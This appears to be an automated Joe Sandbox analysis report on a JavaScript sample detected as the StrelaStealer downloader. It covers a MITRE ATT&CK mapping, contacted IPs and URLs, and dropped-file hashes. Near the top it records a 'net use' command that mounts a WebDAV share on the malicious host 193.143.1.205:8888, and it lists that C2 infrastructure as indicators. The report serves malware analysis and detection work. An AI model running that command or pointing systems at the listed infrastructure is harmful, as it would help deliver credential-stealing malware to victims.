Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5405100231672716142.js	7%	Virustotal		Browse
5405100231672716142.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/-p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2230781146.0000022CE94B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3457240845.0000022CE9684000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/-p	net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000007.00000003.2229830813.000001DF17201000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2231380288.000001DF17201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2227389562.000001DF1721D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2229830813.000001DF17201000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232797552.000001DF1721F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2231380288.000001DF17201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589003
Start date and time:	2025-01-11 08:14:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5405100231672716142.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@5/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.107, 2.16.168.105, 23.209.209.135, 13.107.246.45, 52.149.20.212, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:15:42	API Interceptor	24x Sleep call for process: powershell.exe modified
02:15:46	API Interceptor	1x Sleep call for process: net.exe modified
02:15:46	API Interceptor	2x Sleep call for process: svchost.exe modified
02:15:59	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263066908018603
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0j:9JZj5MiKNnNhoxuS
MD5:	C2A9BF83F4B0BD69C71D94794FC899C4
SHA1:	2FB432F0F2314393003120FA791EB30BF0EE117E
SHA-256:	328ED6E02C972ADC341DB55759CF5526DF143339327820F4573A5107E1856DDD
SHA-512:	BABA60C242A659424864E23BE84D09CB5851580718DB569DD33E47D99F3DBE8A2BC0A11E79FF325DE6B5072BDF98606C3B600319EEEB1D101C414C60EF20233D
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xf0b7edbb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555815753198132
Encrypted:	false
SSDEEP:	1536:lSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:lazaSvGJzYj2UlmOlOL
MD5:	DEFB1F803D248378898FB3498BAD6188
SHA1:	43206B6FC1CEFA7FE5CE12DAC6DA3E89C579A71F
SHA-256:	542761D06C6E9C13584C03DBB6385EE1987E98027461CCEDC10409F5CEEBDDB4
SHA-512:	DFE0137439881472A071C64E203325B40AD74577E2B29A0CDCA713F3493BE9698269C51A46474C65A7792CA63916E437526AEAE23C61F494C6A5B11F88E32846
Malicious:	false
Preview:	..... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...........................................}..................b.......}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07988457077643035
Encrypted:	false
SSDEEP:	3:sS//KYe8xbEeeuNaAPaU1loLeYltlolluxmO+l/SNxOf:si/KzagBuNDPaUACtgmOH
MD5:	0E2A57B03B32FD95373C62E5A45A39A5
SHA1:	0A6C13058DD96E768CCF3AE05AEB6F073C0DA567
SHA-256:	3CBE76DD409771E524335B63844EFF79CFC8C4F2DDAEE2F6159EE8FE21B1AF87
SHA-512:	529A71F9D9FFDA7EBBF47F926238B5E3DEA426BA620D56483145B50C55CA1158EA0756974ADEB581AF3462C5A843BF5D7CD7ABF69A5E4C6C233998AA2473BD1B
Malicious:	false
Preview:	.........................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?.................b.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.217342931033839
Encrypted:	false
SSDEEP:	6:iOcfuzIq2PN72nKuAl9OmbnIFUt+fuxJZmwAfuxDkwON72nKuAl9OmbjLJ:7cfaIvVaHAahFUt+f2J/Af2D5OaHAaSJ
MD5:	3DAD044F69CDE3D9480B091F65E1009B
SHA1:	9C38EF0E56F31A33E5867BFB0D1530CD745B83FE
SHA-256:	8F72B945135706BC3F9A216807FD88B60CDF371E26188CD985CBA73E5E037641
SHA-512:	0E96C23079AD5A2B98D15B5F3B97EE0716F488A1DC901B83FE81F77392C6E4662B65917FBB9D7A6824485365EC7C6C2C17999F87BA2907C3C26BE9D42D544840
Malicious:	false
Preview:	2025/01/11-02:15:46.076 194 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:15:46.078 194 Recovering log #3.2025/01/11-02:15:46.078 194 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.217342931033839
Encrypted:	false
SSDEEP:	6:iOcfuzIq2PN72nKuAl9OmbnIFUt+fuxJZmwAfuxDkwON72nKuAl9OmbjLJ:7cfaIvVaHAahFUt+f2J/Af2D5OaHAaSJ
MD5:	3DAD044F69CDE3D9480B091F65E1009B
SHA1:	9C38EF0E56F31A33E5867BFB0D1530CD745B83FE
SHA-256:	8F72B945135706BC3F9A216807FD88B60CDF371E26188CD985CBA73E5E037641
SHA-512:	0E96C23079AD5A2B98D15B5F3B97EE0716F488A1DC901B83FE81F77392C6E4662B65917FBB9D7A6824485365EC7C6C2C17999F87BA2907C3C26BE9D42D544840
Malicious:	false
Preview:	2025/01/11-02:15:46.076 194 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:15:46.078 194 Recovering log #3.2025/01/11-02:15:46.078 194 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.141890229912225
Encrypted:	false
SSDEEP:	6:iOcfGQBq2PN72nKuAl9Ombzo2jMGIFUt+fGTI5ZmwAfGTITkwON72nKuAl9Ombzz:7cfLvVaHAa8uFUt+fEO/AfEi5OaHAa8z
MD5:	5CE127F2CC61DB03511B65AED5C7D7AA
SHA1:	F77A839844452C43EA61F01084AF9EC824FDF5D7
SHA-256:	45178ED2E330B4A44B29EDAB75E7E77A3B3CA04C05572F5C35D96B0458EB8CDE
SHA-512:	DCC463A095BEA9738622359EE9D50BAD0AD80E63D5831448216C88813B52C8ECBD868FE65A346AEFF3300C50A586188C300750F8902CAAD1C74E2B9A8607E595
Malicious:	false
Preview:	2025/01/11-02:15:46.255 1b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:15:46.256 1b64 Recovering log #3.2025/01/11-02:15:46.256 1b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.141890229912225
Encrypted:	false
SSDEEP:	6:iOcfGQBq2PN72nKuAl9Ombzo2jMGIFUt+fGTI5ZmwAfGTITkwON72nKuAl9Ombzz:7cfLvVaHAa8uFUt+fEO/AfEi5OaHAa8z
MD5:	5CE127F2CC61DB03511B65AED5C7D7AA
SHA1:	F77A839844452C43EA61F01084AF9EC824FDF5D7
SHA-256:	45178ED2E330B4A44B29EDAB75E7E77A3B3CA04C05572F5C35D96B0458EB8CDE
SHA-512:	DCC463A095BEA9738622359EE9D50BAD0AD80E63D5831448216C88813B52C8ECBD868FE65A346AEFF3300C50A586188C300750F8902CAAD1C74E2B9A8607E595
Malicious:	false
Preview:	2025/01/11-02:15:46.255 1b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:15:46.256 1b64 Recovering log #3.2025/01/11-02:15:46.256 1b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953569817900955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpVsBdOg2Hucaq3QYiubcP7E4T3y:Y2sRdsu2dMHR3QYhbA7nby
MD5:	B00D20A49550E0869EE4DA1394BE524F
SHA1:	9CC5E4F61D1886F7E95832F876C6B91DCD823A60
SHA-256:	8B99BEAC44C52AC58BB8418C9093B0C8E96AFE88F2BFA8220BDC29397B68E5BA
SHA-512:	028FF46F6A0F4C036990F0C725BCFD4FC26D0685E0F2959A371A88CB3F3EEC15F37F4F359327A592EC9CF9ADE1716BD860FB7248037302344540AC40399E47AF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139758698182","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a9cc0485-ae16-4c26-921a-4965945f9078.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953569817900955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpVsBdOg2Hucaq3QYiubcP7E4T3y:Y2sRdsu2dMHR3QYhbA7nby
MD5:	B00D20A49550E0869EE4DA1394BE524F
SHA1:	9CC5E4F61D1886F7E95832F876C6B91DCD823A60
SHA-256:	8B99BEAC44C52AC58BB8418C9093B0C8E96AFE88F2BFA8220BDC29397B68E5BA
SHA-512:	028FF46F6A0F4C036990F0C725BCFD4FC26D0685E0F2959A371A88CB3F3EEC15F37F4F359327A592EC9CF9ADE1716BD860FB7248037302344540AC40399E47AF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139758698182","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":135131},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252801275006391
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7luNsD:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh7
MD5:	F745B077A0D580C2E3AE64C83B1B0A14
SHA1:	C3611B6EBD385226EA7643A3B3CAD209BA205133
SHA-256:	ADD58A204B35E28B167ADF36E9A293F1B63B25FE56AAA4B953E6DDEC2EC424B8
SHA-512:	B8D3F5FCA923D7C61AE5555339DBB392B7D4B436E1D1B11272E233D5A47BB73BB21A0E9EF23F5B87D5649322763D31986AAF65C8D3CD9AA9FB830D496BB242AE
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1610382379099295
Encrypted:	false
SSDEEP:	6:iOcfcQBq2PN72nKuAl9OmbzNMxIFUt+fw8ZmwAfakwON72nKuAl9OmbzNMFLJ:7cfcQBvVaHAa8jFUt+fL/Afa5OaHAa8E
MD5:	BFC8BF8910BA9C64F29AB8C84E33DE6A
SHA1:	C85BB2E6B52590D3E4668D50500F4D3A289C08F9
SHA-256:	E7853D6D5513D1D754AFD53B4A2C6AD01409B0CE4D0E436848A4C19960E8E813
SHA-512:	10309FFEE48A33D9A71CA213588D05B3026E0E79E0459BEE34FFA90822F502042C60F30DC0B46974999ED0414B4BA3534106FB12AEDDB1EDA359EC00CB5C1EFB
Malicious:	false
Preview:	2025/01/11-02:15:46.495 1b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:15:46.506 1b64 Recovering log #3.2025/01/11-02:15:46.509 1b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1610382379099295
Encrypted:	false
SSDEEP:	6:iOcfcQBq2PN72nKuAl9OmbzNMxIFUt+fw8ZmwAfakwON72nKuAl9OmbzNMFLJ:7cfcQBvVaHAa8jFUt+fL/Afa5OaHAa8E
MD5:	BFC8BF8910BA9C64F29AB8C84E33DE6A
SHA1:	C85BB2E6B52590D3E4668D50500F4D3A289C08F9
SHA-256:	E7853D6D5513D1D754AFD53B4A2C6AD01409B0CE4D0E436848A4C19960E8E813
SHA-512:	10309FFEE48A33D9A71CA213588D05B3026E0E79E0459BEE34FFA90822F502042C60F30DC0B46974999ED0414B4BA3534106FB12AEDDB1EDA359EC00CB5C1EFB
Malicious:	false
Preview:	2025/01/11-02:15:46.495 1b64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:15:46.506 1b64 Recovering log #3.2025/01/11-02:15:46.509 1b64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444738866492412
Encrypted:	false
SSDEEP:	384:ye6ci5ttiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mGs3OazzU89UTTgUL
MD5:	FE4C505422D6C4FB696CD7C430564A43
SHA1:	1A1CB241859B364BA385CF83AA7526EADA2CCFFA
SHA-256:	3B9F30BD63B7734211D0BB14F754934C582A292D114EA564C326CD400A995A84
SHA-512:	10E5C33B912B8FED9EFE7EFF27E7B47A740ED1F6F42201BA089EE340787F677BE8F77209AAFFDFEE592C600ECF608D03EC186E362A249A920B02A5A7B0875371
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765141164952587
Encrypted:	false
SSDEEP:	48:7MRgJioyVMioyKoy1C7oy16oy1KKOioy1noy1AYoy1Wioy1oioykioyBoy1noy14:7hJuM6pXjBidb9IVXEBodRBki
MD5:	AE91BB34EF1120BFD555F8B0FA3B1608
SHA1:	C65F8595C94C809926B9423366C33EDCE92EE49B
SHA-256:	13561BDCAE88835FE28595BF103D3A621328A0847E0E7BD42C980E04A213F637
SHA-512:	769D5413CA37A159F6F6CCE90A6007895F28DB8DC276D7D5F0F0FD15A3B0B795B97F9E5E24539A97ACC761A56E32C78F670816C157744F1063184D8289C86354
Malicious:	false
Preview:	.... .c.....Hq.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
